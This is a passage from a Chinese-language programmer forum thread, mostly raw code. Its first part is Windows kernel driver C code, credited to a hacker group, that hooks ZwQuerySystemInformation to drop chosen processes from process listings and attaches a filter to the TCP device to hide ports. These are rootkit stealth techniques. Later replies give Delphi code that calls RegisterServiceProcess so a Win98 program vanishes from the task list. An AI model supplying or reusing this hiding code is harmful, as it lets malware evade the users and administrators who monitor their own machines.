&nbsp; &nbsp;<br>&nbsp; &nbsp; int &nbsp; &nbsp; found;<br><br><br>&nbsp; &nbsp; // 执行旧的ZwQuerySystemInformation函数<br><br>&nbsp; &nbsp; rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (<br>&nbsp; &nbsp; &nbsp; &nbsp; SystemInformationClass,<br>&nbsp; &nbsp; &nbsp; &nbsp; SystemInformation,<br>&nbsp; &nbsp; &nbsp; &nbsp; SystemInformationLength,<br>&nbsp; &nbsp; &nbsp; &nbsp; ReturnLength );<br><br>&nbsp; &nbsp; if(NT_SUCCESS(rc )) <br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; if( g_hide_proc &amp;&amp; (5 == SystemInformationClass))<br>&nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 将查找出来结果赋给结构<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; struct _SYSTEM_PROCESSES *prev = NULL;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 遍历进程<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(curr)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { &nbsp; <br> <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if((0 &lt; process_name.Length) &amp;&amp; (255 &gt; process_name.Length))<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found=0;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 遍历链表<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (ptr=list_head;ptr!=NULL;ptr=ptr-&gt;next )<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (ptr-&gt;flag != PTR_HIDEPROC) continue ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (memcmp(process_name.Buffer,ptr-&gt;name,strlen(ptr-&gt;name)) == 0)<br> {<br> found =1;<br> }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 判断如果是隐藏进程名则覆盖掉此进程名<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(found)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(prev)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(curr-&gt;NextEntryDelta)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prev-&gt;NextEntryDelta += curr-&gt;NextEntryDelta;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prev-&gt;NextEntryDelta = 0;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> }<br> else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(curr-&gt;NextEntryDelta)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (char *)SystemInformation += curr-&gt;NextEntryDelta;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SystemInformation = NULL;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br> <br> if(curr-&gt;NextEntryDelta)((char *)curr += curr-&gt;NextEntryDelta);<br> else <br> {<br> curr = NULL;break;<br> }<br> // 遍历链表<br> found = 0;<br> for (ptr=list_head;ptr!=NULL;ptr=ptr-&gt;next )<br> { &nbsp; <br> if (ptr-&gt;flag != PTR_HIDEPROC) continue ;<br> <br> if (memcmp(process_name.Buffer,ptr-&gt;name,strlen(ptr-&gt;name)) == 0)<br> {<br> found = 1;<br> }<br> }<br> }<br> }<br> if(curr != NULL)<br> {<br> prev = curr;<br> if(curr-&gt;NextEntryDelta) ((char *)curr += curr-&gt;NextEntryDelta);<br> else curr = NULL;<br> }<br> }<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; }<br>&nbsp; &nbsp; return(rc);<br>}<br><br><br><br>//隐藏端口<br><br>&nbsp; &nbsp; &nbsp;PDEVICE_OBJECT &nbsp; &nbsp;m_TcpgetDevice;<br><br>&nbsp; &nbsp; &nbsp;PDEVICE_OBJECT &nbsp; &nbsp;TcpDevice; <br>&nbsp; &nbsp; &nbsp;UNICODE_STRING &nbsp; &nbsp;TcpDeviceName; <br>&nbsp; &nbsp; &nbsp;PDRIVER_OBJECT &nbsp; &nbsp;TcpDriver; <br>&nbsp; &nbsp; &nbsp;PDEVICE_OBJECT &nbsp; &nbsp;TcpgetDevice; <br>&nbsp; &nbsp; &nbsp;PDEVICE_OBJECT &nbsp; &nbsp;FilterDevice<br>&nbsp; &nbsp; &nbsp;PDRIVER_DISPATCH &nbsp;Empty; <br>&nbsp; &nbsp; &nbsp;NTSTATUS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;status; <br><br>&nbsp; &nbsp; &nbsp;Empty = DriverObject-&gt;MajorFunction[IRP_MJ_CREATE]; <br>&nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp;RtlInitUnicodeString( &amp;TcpDeviceName, L"/Device/Tcp"); <br><br>&nbsp; &nbsp; &nbsp;//得到已有的设备指针<br><br>&nbsp; &nbsp; &nbsp;status = IoGetDeviceObjectPointer( &amp;TcpDeviceName, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_ALL_ACCESS, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&amp;FileObject, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;TcpDevice<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ); <br><br><br>&nbsp; &nbsp; if(!NT_SUCCESS(status)) <br>&nbsp; &nbsp; &nbsp;{ <br>&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("IoGetDeviceObjectPointer error!n");<br>&nbsp; &nbsp; &nbsp; &nbsp; return status; <br>&nbsp; &nbsp; &nbsp;} <br><br>&nbsp; &nbsp; DbgPrint("IoGetDeviceObjectPointer ok!n");<br>&nbsp; &nbsp;<br>&nbsp; &nbsp; // 建立设备 &nbsp;<br>&nbsp; &nbsp; status = IoCreateDevice( DriverObject, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sizeof(DEVICE_EXTENSION), <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NULL, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FILE_DEVICE_UNKNOWN, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FALSE, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&amp;FilterDevice<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;); <br>&nbsp; &nbsp; if(!NT_SUCCESS(status)) <br>&nbsp; &nbsp; { <br>&nbsp; &nbsp; &nbsp; &nbsp; return status; <br>&nbsp; &nbsp; } <br><br>&nbsp; &nbsp; // 加入设备<br><br>&nbsp; &nbsp; TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice); <br><br>&nbsp; &nbsp; if(!TcpgetDevice) <br>&nbsp; &nbsp; { <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IoDeleteDevice(FilterDevice); <br> DbgPrint("IoAttachDeviceToDeviceStack error!n");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return STATUS_SUCCESS; <br>&nbsp; &nbsp; } <br><br>&nbsp; &nbsp; m_TcpgetDevice = TcpgetDevice;<br>&nbsp; <br>&nbsp; &nbsp;// 加到过滤函数中处理<br>&nbsp; &nbsp;for(i=0;i&lt;IRP_MJ_MAXIMUM_FUNCTION;i++) <br>&nbsp; &nbsp;{ <br>&nbsp; &nbsp; &nbsp; &nbsp;if((TcpDriver-&gt;MajorFunction!=Empty)&amp;&amp;(DriverObject-&gt;MajorFunction==Empty)) <br>&nbsp; &nbsp; &nbsp; &nbsp;{ <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DriverObject-&gt;MajorFunction = PassThrough; <br> &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp;} <br>&nbsp; &nbsp;} <br><br>&nbsp; &nbsp;ObDereferenceObject(FileObject); <br><br><br>NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) <br>{ <br><br>&nbsp; &nbsp; &nbsp; &nbsp;NTSTATUS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;status; <br>&nbsp; &nbsp; &nbsp; &nbsp;PIO_STACK_LOCATION &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pIrpStack;<br><br>&nbsp; &nbsp; &nbsp; &nbsp;pIrpStack = IoGetCurrentIrpStackLocation( Irp );<br><br><br>&nbsp; &nbsp; &nbsp; &nbsp;//如是查询则完成 IRP <br>&nbsp; &nbsp; &nbsp; &nbsp;if ( pIrpStack-&gt;Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)<br>&nbsp; &nbsp; &nbsp; &nbsp;{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //这里可以近一步判断某个端口<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Irp-&gt;IoStatus.Status=STATUS_SUCCESS; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IoCompleteRequest(Irp,IO_NO_INCREMENT); <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return STATUS_SUCCESS; <br>&nbsp; &nbsp; &nbsp; &nbsp;}<br><br>&nbsp; &nbsp; &nbsp; //复制当前 IRP <br>&nbsp; &nbsp; &nbsp; IoCopyCurrentIrpStackLocationToNext(Irp);<br>&nbsp; <br>&nbsp; &nbsp; &nbsp; IoSetCompletionRoutine( Irp, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GenericCompletion, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL, <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TRUE,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TRUE,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TRUE<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;); <br><br>&nbsp; &nbsp; &nbsp; //传递<br>&nbsp; &nbsp; &nbsp; return IoCallDriver( m_TcpgetDevice, Irp); <br><br>}<br><br><br>&nbsp;<br><br>--------------------------------------------------------------------------------<br>&nbsp;<br><br><br>关于我们: <br><br>WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯 <br><br>。 <br><br>WSS 主页:http://www.whitecell.org/ <br>WSS 论坛:http://www.whitecell.org/forum/ <br><br>
 
&lt;&lt;最低要求是在WIN98下看不到在WIN2000中不出错就行<br>&gt;&gt;不知道先判断操作系统是否是Win2K/XP/NT,然后是否调用函数,这样行吗?<br>**********************************<br>//判断操作系统<br>function TFuncs.OsIs:Integer;<br>begin<br>&nbsp; case Win32Platform of<br>&nbsp; &nbsp; VER_PLATFORM_WIN32s: Result:=32;<br>&nbsp; &nbsp; VER_PLATFORM_WIN32_WINDOWS: Result:=98;<br>&nbsp; &nbsp; VER_PLATFORM_WIN32_NT: Result:=2000;<br>&nbsp; &nbsp; else Result:=0;<br>&nbsp; end;<br>end;<br>**********************************<br>也有人说”使用编译开关判断当前系统版本“
 
用REGISTERSERVICEPROCESS好象不可以,我遇到下面的情况:<br>&nbsp; &nbsp; 我做了一个小程序,让它在win98启动时执行,控制系统,只有在此程序中输入了<br>&nbsp; 正确的用户口令才能正常使用机器,但是,如果在此程序未完全启动时按热启动键<br>&nbsp; (alt+ctrl+del),在任务栏中将它结束运行,有什么好办法吗?
 
谢谢各位,我已经找到答案了,用显式函数调用方法可以解决,分数只好随便给了
 
请把答案贴出来啊!!!<br>谢谢!
 
先声明函数regservice:function(uthread:integer;utype:integer):integer;stdcall;<br>定义变量:<br>var wlong:integer;<br>&nbsp; &nbsp; s1:string;<br>&nbsp; &nbsp; s2,s3,sbuf:array[0..300] of char;<br>&nbsp; &nbsp; i:integer;<br>&nbsp; &nbsp; osver:tosversioninfo;<br>&nbsp; &nbsp; tmp:tmemorystream;<br>&nbsp; &nbsp; max,count,step:integer;<br>调用的程序段[:)][:)]<br>&nbsp;//取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能<br>&nbsp; osver.dwosversioninfosize:=sizeof(tosversioninfo);<br>&nbsp; &nbsp;if getversionex(osver)=true then<br>&nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp;if osver.dwplatformid&lt;&gt;ver_platform_win32_nt then<br>&nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;libhandle:=loadlibrary('kernel32.dll');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if libhandle&lt;&gt;0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @regservice:=getprocaddress(libhandle, 'RegisterServiceProcess');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if @regservice=nil then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; showmessage('regservice');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;regservice(0,1);//1=hide,0=show;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // RegisterServiceProcess(getcurrentprocessid,1);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;freelibrary(libhandle);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp;end;
 
多人接受答案了。
 
后退
顶部